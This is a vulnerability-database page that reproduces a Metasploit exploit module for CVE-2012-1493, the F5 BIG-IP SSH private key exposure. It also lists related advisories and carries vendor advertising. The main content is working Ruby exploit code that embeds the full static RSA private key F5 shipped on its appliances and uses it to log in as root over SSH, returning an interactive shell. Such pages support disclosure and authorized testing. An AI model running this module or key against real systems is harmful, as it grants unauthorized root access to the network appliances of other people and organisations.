Lucene search
K

F5 BIG-IP SSH Private Key Exposure

🗓️ 13 Jun 2012 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 37 Views

F5 BIG-IP SSH Private Key Exposure allows unauthorized remote access as root due to easily retrievable public/private key pair on BIG-IP appliances

Related
Code
ReporterTitlePublishedViews
Family
0day.today
F5 BIG-IP Remote Root Authentication Bypass Vulnerability
11 Jun 201200:00
zdt
Circl
CVE-2012-1493
11 Jun 201200:00
circl
CVE
CVE-2012-1493
9 Jul 201222:00
cve
Cvelist
CVE-2012-1493
9 Jul 201222:00
cvelist
Exploit DB
F5 BIG-IP - Authentication Bypass (PoC)
11 Jun 201200:00
exploitdb
Exploit DB
F5 BIG-IP - SSH Private Key Exposure (Metasploit)
13 Jun 201200:00
exploitdb
exploitpack
F5 BIG-IP - Authentication Bypass (PoC)
11 Jun 201200:00
exploitpack
Tenable Nessus
F5 Multiple Products Root Authentication Bypass
13 Jun 201200:00
nessus
Tenable Nessus
SSH Static Key Accepted
8 May 201400:00
nessus
Metasploit
F5 BIG-IP SSH Private Key Exposure
16 Jun 201207:17
metasploit
Rows per page
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
require 'net/ssh'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Auxiliary::Report
 
 
    def initialize(info = {})
        super(update_info(info, {
            'Name'        => 'F5 BIG-IP SSH Private Key Exposure',
            'Version'     => '$Revision$',
            'Description' => %q{
                F5 ships a public/private key pair on BIG-IP appliances that allows
                passwordless authentication to any other BIG-IP box. Since the key is
                easily retrievable, an attacker can use it to gain unauthorized remote
                access as root.
            },
            'Platform'    => 'unix',
            'Arch'        => ARCH_CMD,
            'Privileged'  => true,
            'Targets'     => [ [ "Universal", {} ] ],
            'Payload'     =>
                {
                    'Compat'  => {
                        'PayloadType'    => 'cmd_interact',
                        'ConnectionType' => 'find',
                    },
                },
            'Author'      => ['egypt'],
            'License'     => MSF_LICENSE,
            'References'  =>
                [
                    [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
                    [ 'CVE', '2012-1493' ],
                    [ 'OSVDB', '82780' ]
                ],
            'DisclosureDate' => "Jun 11 2012",
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
            'DefaultTarget' => 0,
        }))
 
        register_options(
            [
                # Since we don't include Tcp, we have to register this manually
                Opt::RHOST(),
                Opt::RPORT(22),
            ], self.class
        )
 
        register_advanced_options(
            [
                OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
                OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
            ]
        )
 
    end
 
    # helper methods that normally come from Tcp
    def rhost
        datastore['RHOST']
    end
    def rport
        datastore['RPORT']
    end
 
    def do_login(user)
 
        opt_hash = {
            :auth_methods => ['publickey'],
            :msframework  => framework,
            :msfmodule    => self,
            :port         => rport,
            :key_data     => [ key_data ],
            :disable_agent => true,
            :config => false,
            :record_auth_info => true
        }
        opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
        begin
            ssh_socket = nil
            ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
                ssh_socket = Net::SSH.start(rhost, user, opt_hash)
            end
        rescue Rex::ConnectionError, Rex::AddressInUse
            return :connection_error
        rescue Net::SSH::Disconnect, ::EOFError
            return :connection_disconnect
        rescue ::Timeout::Error
            print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
            return :connection_disconnect
        rescue Net::SSH::AuthenticationFailed
            print_error "#{rhost}:#{rport} SSH - Failed authentication"
        rescue Net::SSH::Exception => e
            return [:fail,nil] # For whatever reason.
        end
 
        if ssh_socket
 
            # Create a new session from the socket, then dump it.
            conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
            ssh_socket = nil
 
            return conn
        else
            return false
        end
    end
 
    def exploit
        conn = do_login("root")
        if conn
            print_good "Successful login"
            handler(conn.lsock)
        else
            print_error "Login failed"
        end
    end
 
 
    def key_data
        <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
EOF
        end
end



#  0day.today [2018-02-07]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation